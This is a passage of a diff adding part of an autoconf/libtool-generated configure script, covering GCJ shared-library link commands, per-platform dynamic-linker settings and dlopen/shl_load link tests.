$lib.exp~ + $LD -G${allow_undefined_flag} -M $lib.exp -h $soname -o $lib $libobjs $deplibs $linker_flags~$rm $lib.exp' + hardcode_libdir_flag_spec_GCJ= + hardcode_shlibpath_var_GCJ=no + runpath_var='LD_RUN_PATH' + ;; + + uts4*) + archive_cmds_GCJ='$LD -G -h $soname -o $lib $libobjs $deplibs $linker_flags' + hardcode_libdir_flag_spec_GCJ='-L$libdir' + hardcode_shlibpath_var_GCJ=no + ;; + + *) + ld_shlibs_GCJ=no + ;; + esac + fi + +{ echo "$as_me:$LINENO: result: $ld_shlibs_GCJ" >&5 +echo "${ECHO_T}$ld_shlibs_GCJ" >&6; } +test "$ld_shlibs_GCJ" = no && can_build_shared=no + +variables_saved_for_relink="PATH $shlibpath_var $runpath_var" +if test "$GCC" = yes; then + variables_saved_for_relink="$variables_saved_for_relink GCC_EXEC_PREFIX COMPILER_PATH LIBRARY_PATH" +fi + +# +# Do we need to explicitly link libc? +# +case "x$archive_cmds_need_lc_GCJ" in +x|xyes) + # Assume -lc should be added + archive_cmds_need_lc_GCJ=yes + + if test "$enable_shared" = yes && test "$GCC" = yes; then + case $archive_cmds_GCJ in + *'~'*) + # FIXME: we may have to deal with multi-command sequences. + ;; + '$CC '*) + # Test whether the compiler implicitly links with -lc since on some + # systems, -lgcc has to come before -lc. If gcc already passes -lc + # to ld, don't add -lc before -lgcc. + { echo "$as_me:$LINENO: checking whether -lc should be explicitly linked in" >&5 +echo $ECHO_N "checking whether -lc should be explicitly linked in... $ECHO_C" >&6; } + $rm conftest* + printf "$lt_simple_compile_test_code" > conftest.$ac_ext + + if { (eval echo "$as_me:$LINENO: \"$ac_compile\"") >&5 + (eval $ac_compile) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } 2>conftest.err; then + soname=conftest + lib=conftest + libobjs=conftest.$ac_objext + deplibs= + wl=$lt_prog_compiler_wl_GCJ + compiler_flags=-v + linker_flags=-v + verstring= + output_objdir=. + libname=conftest + lt_save_allow_undefined_flag=$allow_undefined_flag_GCJ + allow_undefined_flag_GCJ= + if { (eval echo "$as_me:$LINENO: \"$archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1\"") >&5 + (eval $archive_cmds_GCJ 2\>\&1 \| grep \" -lc \" \>/dev/null 2\>\&1) 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } + then + archive_cmds_need_lc_GCJ=no + else + archive_cmds_need_lc_GCJ=yes + fi + allow_undefined_flag_GCJ=$lt_save_allow_undefined_flag + else + cat conftest.err 1>&5 + fi + $rm conftest* + { echo "$as_me:$LINENO: result: $archive_cmds_need_lc_GCJ" >&5 +echo "${ECHO_T}$archive_cmds_need_lc_GCJ" >&6; } + ;; + esac + fi + ;; +esac + +{ echo "$as_me:$LINENO: checking dynamic linker characteristics" >&5 +echo $ECHO_N "checking dynamic linker characteristics... $ECHO_C" >&6; } +library_names_spec= +libname_spec='lib$name' +soname_spec= +shrext_cmds=".so" +postinstall_cmds= +postuninstall_cmds= +finish_cmds= +finish_eval= +shlibpath_var= +shlibpath_overrides_runpath=unknown +version_type=none +dynamic_linker="$host_os ld.so" +sys_lib_dlsearch_path_spec="/lib /usr/lib" +if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';' >/dev/null ; then + # if the path contains ";" then we assume it to be the separator + # otherwise default to the standard path separator (i.e. ":") - it is + # assumed that no part of a normal pathname contains ";" but that should + # okay in the real world where ";" in dirpaths is itself problematic. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi +else + sys_lib_search_path_spec="/lib /usr/lib /usr/local/lib" +fi +need_lib_prefix=unknown +hardcode_into_libs=no + +# when you set need_version to no, make sure it does not cause -set_version +# flags to be left without arguments +need_version=unknown + +case $host_os in +aix3*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname.a' + shlibpath_var=LIBPATH + + # AIX 3 has no versioning support, so we append a major version to the name. + soname_spec='${libname}${release}${shared_ext}$major' + ;; + +aix4* | aix5*) + version_type=linux + need_lib_prefix=no + need_version=no + hardcode_into_libs=yes + if test "$host_cpu" = ia64; then + # AIX 5 supports IA64 + library_names_spec='${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext}$versuffix $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + else + # With GCC up to 2.95.x, collect2 would create an import file + # for dependence libraries. The import file would start with + # the line `#! .'. This would cause the generated library to + # depend on `.', always an invalid library. This was fixed in + # development snapshots of GCC prior to 3.0. + case $host_os in + aix4 | aix4.[01] | aix4.[01].*) + if { echo '#if __GNUC__ > 2 || (__GNUC__ == 2 && __GNUC_MINOR__ >= 97)' + echo ' yes ' + echo '#endif'; } | ${CC} -E - | grep yes > /dev/null; then + : + else + can_build_shared=no + fi + ;; + esac + # AIX (on Power*) has no versioning support, so currently we can not hardcode correct + # soname into executable. Probably we can add versioning support to + # collect2, so additional links can be useful in future. + if test "$aix_use_runtimelinking" = yes; then + # If using run time linking (on AIX 4.2 or later) use lib.so + # instead of lib.a to let people know that these are not + # typical AIX shared libraries. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + else + # We preserve .a as extension for shared libraries through AIX4.2 + # and later when we are not doing run time linking. + library_names_spec='${libname}${release}.a $libname.a' + soname_spec='${libname}${release}${shared_ext}$major' + fi + shlibpath_var=LIBPATH + fi + ;; + +amigaos*) + library_names_spec='$libname.ixlibrary $libname.a' + # Create ${libname}_ixlibrary.a entries in /sys/libs. + finish_eval='for lib in `ls $libdir/*.ixlibrary 2>/dev/null`; do libname=`$echo "X$lib" | $Xsed -e '\''s%^.*/\([^/]*\)\.ixlibrary$%\1%'\''`; test $rm /sys/libs/${libname}_ixlibrary.a; $show "cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a"; cd /sys/libs && $LN_S $lib ${libname}_ixlibrary.a || exit 1; done' + ;; + +beos*) + library_names_spec='${libname}${shared_ext}' + dynamic_linker="$host_os ld.so" + shlibpath_var=LIBRARY_PATH + ;; + +bsdi[45]*) + version_type=linux + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/shlib /usr/lib /usr/X11/lib /usr/contrib/lib /lib /usr/local/lib" + sys_lib_dlsearch_path_spec="/shlib /usr/lib /usr/local/lib" + # the default ld.so.conf also contains /usr/contrib/lib and + # /usr/X11R6/lib (/usr/X11 is a link to /usr/X11R6), but let us allow + # libtool to hard-code these into programs + ;; + +cygwin* | mingw* | pw32*) + version_type=windows + shrext_cmds=".dll" + need_version=no + need_lib_prefix=no + + case $GCC,$host_os in + yes,cygwin* | yes,mingw* | yes,pw32*) + library_names_spec='$libname.dll.a' + # DLL is installed to $(libdir)/../bin by postinstall_cmds + postinstall_cmds='base_file=`basename \${file}`~ + dlpath=`$SHELL 2>&1 -c '\''. $dir/'\''\${base_file}'\''i;echo \$dlname'\''`~ + dldir=$destdir/`dirname \$dlpath`~ + test -d \$dldir || mkdir -p \$dldir~ + $install_prog $dir/$dlname \$dldir/$dlname' + postuninstall_cmds='dldll=`$SHELL 2>&1 -c '\''. $file; echo \$dlname'\''`~ + dlpath=$dir/\$dldll~ + $rm \$dlpath' + shlibpath_overrides_runpath=yes + + case $host_os in + cygwin*) + # Cygwin DLLs use 'cyg' prefix rather than 'lib' + soname_spec='`echo ${libname} | sed -e 's/^lib/cyg/'``echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec="/usr/lib /lib/w32api /lib /usr/local/lib" + ;; + mingw*) + # MinGW DLLs use traditional 'lib' prefix + soname_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext}' + sys_lib_search_path_spec=`$CC -print-search-dirs | grep "^libraries:" | $SED -e "s/^libraries://" -e "s,=/,/,g"` + if echo "$sys_lib_search_path_spec" | grep ';[c-zC-Z]:/' >/dev/null; then + # It is most probably a Windows format PATH printed by + # mingw gcc, but we are running on Cygwin. Gcc prints its search + # path with ; separators, and with drive letters. We can handle the + # drive letters (cygwin fileutils understands them), so leave them, + # especially as we might pass files found there to a mingw objdump, + # which wouldn't understand a cygwinified path. Ahh. + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e 's/;/ /g'` + else + sys_lib_search_path_spec=`echo "$sys_lib_search_path_spec" | $SED -e "s/$PATH_SEPARATOR/ /g"` + fi + ;; + pw32*) + # pw32 DLLs use 'pw' prefix rather than 'lib' + library_names_spec='`echo ${libname} | sed -e 's/^lib/pw/'``echo ${release} | $SED -e 's/./-/g'`${versuffix}${shared_ext}' + ;; + esac + ;; + + *) + library_names_spec='${libname}`echo ${release} | $SED -e 's/[.]/-/g'`${versuffix}${shared_ext} $libname.lib' + ;; + esac + dynamic_linker='Win32 ld.exe' + # FIXME: first we should search . and the directory the executable is in + shlibpath_var=PATH + ;; + +darwin* | rhapsody*) + dynamic_linker="$host_os dyld" + version_type=darwin + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${versuffix}$shared_ext ${libname}${release}${major}$shared_ext ${libname}$shared_ext' + soname_spec='${libname}${release}${major}$shared_ext' + shlibpath_overrides_runpath=yes + shlibpath_var=DYLD_LIBRARY_PATH + shrext_cmds='$(test .$module = .yes && echo .so || echo .dylib)' + # Apple's gcc prints 'gcc -print-search-dirs' doesn't operate the same. + if test "$GCC" = yes; then + sys_lib_search_path_spec=`$CC -print-search-dirs | tr "\n" "$PATH_SEPARATOR" | sed -e 's/libraries:/@libraries:/' | tr "@" "\n" | grep "^libraries:" | sed -e "s/^libraries://" -e "s,=/,/,g" -e "s,$PATH_SEPARATOR, ,g" -e "s,.*,& /lib /usr/lib /usr/local/lib,g"` + else + sys_lib_search_path_spec='/lib /usr/lib /usr/local/lib' + fi + sys_lib_dlsearch_path_spec='/usr/local/lib /lib /usr/lib' + ;; + +dgux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname$shared_ext' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +freebsd1*) + dynamic_linker=no + ;; + +kfreebsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +freebsd*) + objformat=`test -x /usr/bin/objformat && /usr/bin/objformat || echo aout` + version_type=freebsd-$objformat + case $version_type in + freebsd-elf*) + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext} $libname${shared_ext}' + need_version=no + need_lib_prefix=no + ;; + freebsd-*) + library_names_spec='${libname}${release}${shared_ext}$versuffix $libname${shared_ext}$versuffix' + need_version=yes + ;; + esac + shlibpath_var=LD_LIBRARY_PATH + case $host_os in + freebsd2*) + shlibpath_overrides_runpath=yes + ;; + freebsd3.01* | freebsdelf3.01*) + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + *) # from 3.2 on + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + ;; + esac + ;; + +gnu*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}${major} ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + hardcode_into_libs=yes + ;; + +hpux9* | hpux10* | hpux11*) + # Give a soname corresponding to the major version so that dld.sl refuses to + # link against other versions. + version_type=sunos + need_lib_prefix=no + need_version=no + case "$host_cpu" in + ia64*) + shrext_cmds='.so' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.so" + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + if test "X$HPUX_IA64_MODE" = X32; then + sys_lib_search_path_spec="/usr/lib/hpux32 /usr/local/lib/hpux32 /usr/local/lib" + else + sys_lib_search_path_spec="/usr/lib/hpux64 /usr/local/lib/hpux64" + fi + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + hppa*64*) + shrext_cmds='.sl' + hardcode_into_libs=yes + dynamic_linker="$host_os dld.sl" + shlibpath_var=LD_LIBRARY_PATH # How should we handle SHLIB_PATH + shlibpath_overrides_runpath=yes # Unless +noenvvar is specified. + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + sys_lib_search_path_spec="/usr/lib/pa20_64 /usr/ccs/lib/pa20_64" + sys_lib_dlsearch_path_spec=$sys_lib_search_path_spec + ;; + *) + shrext_cmds='.sl' + dynamic_linker="$host_os dld.sl" + shlibpath_var=SHLIB_PATH + shlibpath_overrides_runpath=no # +s is required to enable SHLIB_PATH + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + ;; + esac + # HP-UX runs *really* slowly unless shared libraries are mode 555. + postinstall_cmds='chmod 555 $lib' + ;; + +irix5* | irix6* | nonstopux*) + case $host_os in + nonstopux*) version_type=nonstopux ;; + *) + if test "$lt_cv_prog_gnu_ld" = yes; then + version_type=linux + else + version_type=irix + fi ;; + esac + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${release}${shared_ext} $libname${shared_ext}' + case $host_os in + irix5* | nonstopux*) + libsuff= shlibsuff= + ;; + *) + case $LD in # libtool.m4 will add one of these switches to LD + *-32|*"-32 "|*-melf32bsmip|*"-melf32bsmip ") + libsuff= shlibsuff= libmagic=32-bit;; + *-n32|*"-n32 "|*-melf32bmipn32|*"-melf32bmipn32 ") + libsuff=32 shlibsuff=N32 libmagic=N32;; + *-64|*"-64 "|*-melf64bmip|*"-melf64bmip ") + libsuff=64 shlibsuff=64 libmagic=64-bit;; + *) libsuff= shlibsuff= libmagic=never-match;; + esac + ;; + esac + shlibpath_var=LD_LIBRARY${shlibsuff}_PATH + shlibpath_overrides_runpath=no + sys_lib_search_path_spec="/usr/lib${libsuff} /lib${libsuff} /usr/local/lib${libsuff}" + sys_lib_dlsearch_path_spec="/usr/lib${libsuff} /lib${libsuff}" + hardcode_into_libs=yes + ;; + +# No shared lib support for Linux oldld, aout, or coff. +linux*oldld* | linux*aout* | linux*coff*) + dynamic_linker=no + ;; + +# This must be Linux ELF. +linux*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -n $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + # This implies no fast_install, which is unacceptable. + # Some rework will be needed to allow for fast_install + # before this can be enabled. + hardcode_into_libs=yes + + # Append ld.so.conf contents to the search path + if test -f /etc/ld.so.conf; then + lt_ld_extra=`$SED -e 's/:,\t/ /g;s/=^=*$//;s/=^= * / /g' /etc/ld.so.conf | tr '\n' ' '` + sys_lib_dlsearch_path_spec="/lib /usr/lib $lt_ld_extra" + fi + + # We used to test for /lib/ld.so.1 and disable shared libraries on + # powerpc, because MkLinux only supported shared libraries with the + # GNU dynamic linker. Since this was broken with cross compilers, + # most powerpc-linux boxes support dynamic linking these days and + # people can always --disable-shared, the test was removed, and we + # assume the GNU/Linux dynamic linker is in use. + dynamic_linker='GNU/Linux ld.so' + ;; + +knetbsd*-gnu) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=no + hardcode_into_libs=yes + dynamic_linker='GNU ld.so' + ;; + +netbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + if echo __ELF__ | $CC -E - | grep __ELF__ >/dev/null; then + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + dynamic_linker='NetBSD (a.out) ld.so' + else + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major ${libname}${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + dynamic_linker='NetBSD ld.elf_so' + fi + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + ;; + +newsos6) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +nto-qnx*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + ;; + +openbsd*) + version_type=sunos + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/sbin" ldconfig -m $libdir' + shlibpath_var=LD_LIBRARY_PATH + if test -z "`echo __ELF__ | $CC -E - | grep __ELF__`" || test "$host_os-$host_cpu" = "openbsd2.8-powerpc"; then + case $host_os in + openbsd2.[89] | openbsd2.[89].*) + shlibpath_overrides_runpath=no + ;; + *) + shlibpath_overrides_runpath=yes + ;; + esac + else + shlibpath_overrides_runpath=yes + fi + ;; + +os2*) + libname_spec='$name' + shrext_cmds=".dll" + need_lib_prefix=no + library_names_spec='$libname${shared_ext} $libname.a' + dynamic_linker='OS/2 ld.exe' + shlibpath_var=LIBPATH + ;; + +osf3* | osf4* | osf5*) + version_type=osf + need_lib_prefix=no + need_version=no + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + sys_lib_search_path_spec="/usr/shlib /usr/ccs/lib /usr/lib/cmplrs/cc /usr/lib /usr/local/lib /var/shlib" + sys_lib_dlsearch_path_spec="$sys_lib_search_path_spec" + ;; + +sco3.2v5*) + version_type=osf + soname_spec='${libname}${release}${shared_ext}$major' + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + shlibpath_var=LD_LIBRARY_PATH + ;; + +solaris*) + version_type=linux + need_lib_prefix=no + need_version=no + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + hardcode_into_libs=yes + # ldd complains unless libraries are executable + postinstall_cmds='chmod +x $lib' + ;; + +sunos4*) + version_type=sunos + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${shared_ext}$versuffix' + finish_cmds='PATH="\$PATH:/usr/etc" ldconfig $libdir' + shlibpath_var=LD_LIBRARY_PATH + shlibpath_overrides_runpath=yes + if test "$with_gnu_ld" = yes; then + need_lib_prefix=no + fi + need_version=yes + ;; + +sysv4 | sysv4.2uw2* | sysv4.3* | sysv5*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + case $host_vendor in + sni) + shlibpath_overrides_runpath=no + need_lib_prefix=no + export_dynamic_flag_spec='${wl}-Blargedynsym' + runpath_var=LD_RUN_PATH + ;; + siemens) + need_lib_prefix=no + ;; + motorola) + need_lib_prefix=no + need_version=no + shlibpath_overrides_runpath=no + sys_lib_search_path_spec='/lib /usr/lib /usr/ccs/lib' + ;; + esac + ;; + +sysv4*MP*) + if test -d /usr/nec ;then + version_type=linux + library_names_spec='$libname${shared_ext}.$versuffix $libname${shared_ext}.$major $libname${shared_ext}' + soname_spec='$libname${shared_ext}.$major' + shlibpath_var=LD_LIBRARY_PATH + fi + ;; + +uts4*) + version_type=linux + library_names_spec='${libname}${release}${shared_ext}$versuffix ${libname}${release}${shared_ext}$major $libname${shared_ext}' + soname_spec='${libname}${release}${shared_ext}$major' + shlibpath_var=LD_LIBRARY_PATH + ;; + +*) + dynamic_linker=no + ;; +esac +{ echo "$as_me:$LINENO: result: $dynamic_linker" >&5 +echo "${ECHO_T}$dynamic_linker" >&6; } +test "$dynamic_linker" = no && can_build_shared=no + +{ echo "$as_me:$LINENO: checking how to hardcode library paths into programs" >&5 +echo $ECHO_N "checking how to hardcode library paths into programs... $ECHO_C" >&6; } +hardcode_action_GCJ= +if test -n "$hardcode_libdir_flag_spec_GCJ" || \ + test -n "$runpath_var_GCJ" || \ + test "X$hardcode_automatic_GCJ" = "Xyes" ; then + + # We can hardcode non-existant directories. + if test "$hardcode_direct_GCJ" != no && + # If the only mechanism to avoid hardcoding is shlibpath_var, we + # have to relink, otherwise we might link with an installed library + # when we should be linking with a yet-to-be-installed one + ## test "$_LT_AC_TAGVAR(hardcode_shlibpath_var, GCJ)" != no && + test "$hardcode_minus_L_GCJ" != no; then + # Linking always hardcodes the temporary library directory. + hardcode_action_GCJ=relink + else + # We can link without hardcoding, and we can hardcode nonexisting dirs. + hardcode_action_GCJ=immediate + fi +else + # We cannot hardcode anything, or else we can only hardcode existing + # directories. + hardcode_action_GCJ=unsupported +fi +{ echo "$as_me:$LINENO: result: $hardcode_action_GCJ" >&5 +echo "${ECHO_T}$hardcode_action_GCJ" >&6; } + +if test "$hardcode_action_GCJ" = relink; then + # Fast installation is not supported + enable_fast_install=no +elif test "$shlibpath_overrides_runpath" = yes || + test "$enable_shared" = no; then + # Fast installation is not necessary + enable_fast_install=needless +fi + +striplib= +old_striplib= +{ echo "$as_me:$LINENO: checking whether stripping libraries is possible" >&5 +echo $ECHO_N "checking whether stripping libraries is possible... $ECHO_C" >&6; } +if test -n "$STRIP" && $STRIP -V 2>&1 | grep "GNU strip" >/dev/null; then + test -z "$old_striplib" && old_striplib="$STRIP --strip-debug" + test -z "$striplib" && striplib="$STRIP --strip-unneeded" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } +else +# FIXME - insert some real tests, host_os isn't really good enough + case $host_os in + darwin*) + if test -n "$STRIP" ; then + striplib="$STRIP -x" + { echo "$as_me:$LINENO: result: yes" >&5 +echo "${ECHO_T}yes" >&6; } + else + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } +fi + ;; + *) + { echo "$as_me:$LINENO: result: no" >&5 +echo "${ECHO_T}no" >&6; } + ;; + esac +fi + +if test "x$enable_dlopen" != xyes; then + enable_dlopen=unknown + enable_dlopen_self=unknown + enable_dlopen_self_static=unknown +else + lt_cv_dlopen=no + lt_cv_dlopen_libs= + + case $host_os in + beos*) + lt_cv_dlopen="load_add_on" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + ;; + + mingw* | pw32*) + lt_cv_dlopen="LoadLibrary" + lt_cv_dlopen_libs= + ;; + + cygwin*) + lt_cv_dlopen="dlopen" + lt_cv_dlopen_libs= + ;; + + darwin*) + # if libdl is installed we need to link against it + { echo "$as_me:$LINENO: checking for dlopen in -ldl" >&5 +echo $ECHO_N "checking for dlopen in -ldl... $ECHO_C" >&6; } +if test "${ac_cv_lib_dl_dlopen+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + ac_check_lib_save_LIBS=$LIBS +LIBS="-ldl $LIBS" +cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char dlopen (); +int +main () +{ +return dlopen (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; }; then + ac_cv_lib_dl_dlopen=yes +else + echo "$as_me: failed program was:" >&5 +sed 's/^/| /' conftest.$ac_ext >&5 + + ac_cv_lib_dl_dlopen=no +fi + +rm -f core conftest.err conftest.$ac_objext \ + conftest$ac_exeext conftest.$ac_ext +LIBS=$ac_check_lib_save_LIBS +fi +{ echo "$as_me:$LINENO: result: $ac_cv_lib_dl_dlopen" >&5 +echo "${ECHO_T}$ac_cv_lib_dl_dlopen" >&6; } +if test $ac_cv_lib_dl_dlopen = yes; then + lt_cv_dlopen="dlopen" lt_cv_dlopen_libs="-ldl" +else + + lt_cv_dlopen="dyld" + lt_cv_dlopen_libs= + lt_cv_dlopen_self=yes + +fi + + ;; + + *) + { echo "$as_me:$LINENO: checking for shl_load" >&5 +echo $ECHO_N "checking for shl_load... $ECHO_C" >&6; } +if test "${ac_cv_func_shl_load+set}" = set; then + echo $ECHO_N "(cached) $ECHO_C" >&6 +else + cat >conftest.$ac_ext <<_ACEOF +/* confdefs.h. */ +_ACEOF +cat confdefs.h >>conftest.$ac_ext +cat >>conftest.$ac_ext <<_ACEOF +/* end confdefs.h. */ +/* Define shl_load to an innocuous variant, in case declares shl_load. + For example, HP-UX 11i declares gettimeofday. */ +#define shl_load innocuous_shl_load + +/* System header to define __stub macros and hopefully few prototypes, + which can conflict with char shl_load (); below. + Prefer to if __STDC__ is defined, since + exists even on freestanding compilers. */ + +#ifdef __STDC__ +# include +#else +# include +#endif + +#undef shl_load + +/* Override any GCC internal prototype to avoid an error. + Use char because int might match the return type of a GCC + builtin and then its argument prototype would still apply. */ +#ifdef __cplusplus +extern "C" +#endif +char shl_load (); +/* The GNU C library defines this for functions which it implements + to always fail with ENOSYS. Some functions are actually named + something starting with __ and the normal name is an alias. */ +#if defined __stub_shl_load || defined __stub___shl_load +choke me +#endif + +int +main () +{ +return shl_load (); + ; + return 0; +} +_ACEOF +rm -f conftest.$ac_objext conftest$ac_exeext +if { (ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_link") 2>conftest.er1 + ac_status=$? + grep -v '^ *+' conftest.er1 >conftest.err + rm -f conftest.er1 + cat conftest.err >&5 + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); } && + { ac_try='test -z "$ac_c_werror_flag" || test ! -s conftest.err' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo "$as_me:$LINENO: \$? = $ac_status" >&5 + (exit $ac_status); }; } && + { ac_try='test -s conftest$ac_exeext' + { (case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval "echo \"\$as_me:$LINENO: $ac_try_echo\"") >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + echo 